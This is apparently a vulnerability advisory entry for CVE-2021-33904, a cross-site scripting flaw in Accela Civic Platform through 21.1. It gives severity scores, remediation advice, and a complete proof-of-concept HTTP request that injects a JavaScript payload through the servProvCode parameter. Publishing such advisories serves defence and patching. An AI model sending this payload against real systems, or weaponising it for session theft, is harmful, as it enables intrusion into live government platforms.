| Title | Accela Civic Platform <=21.1 - Cross-Site Scripting |
|---|---|
| Author | geeknik |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade to a patched version of Accela Civic Platform (version >21.1) that includes proper input validation to mitigate the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.12306 |
| CVE ID | CVE-2021-33904 |
| CWE ID | CWE-79 |
| Tags | cve cve2021 accela xss edb packetstorm vuln |
Accela Civic Platform through 21.1 contains a cross-site scripting vulnerability via the security/hostSignon.do parameter servProvCode.
GET /security/hostSignon.do?hostSignOn=true&servProvCode=k3woq%22%5econfirm(document.domain)%5e%22a2pbrnzx5a9 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-33904.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-33904.pcap
N/AN/A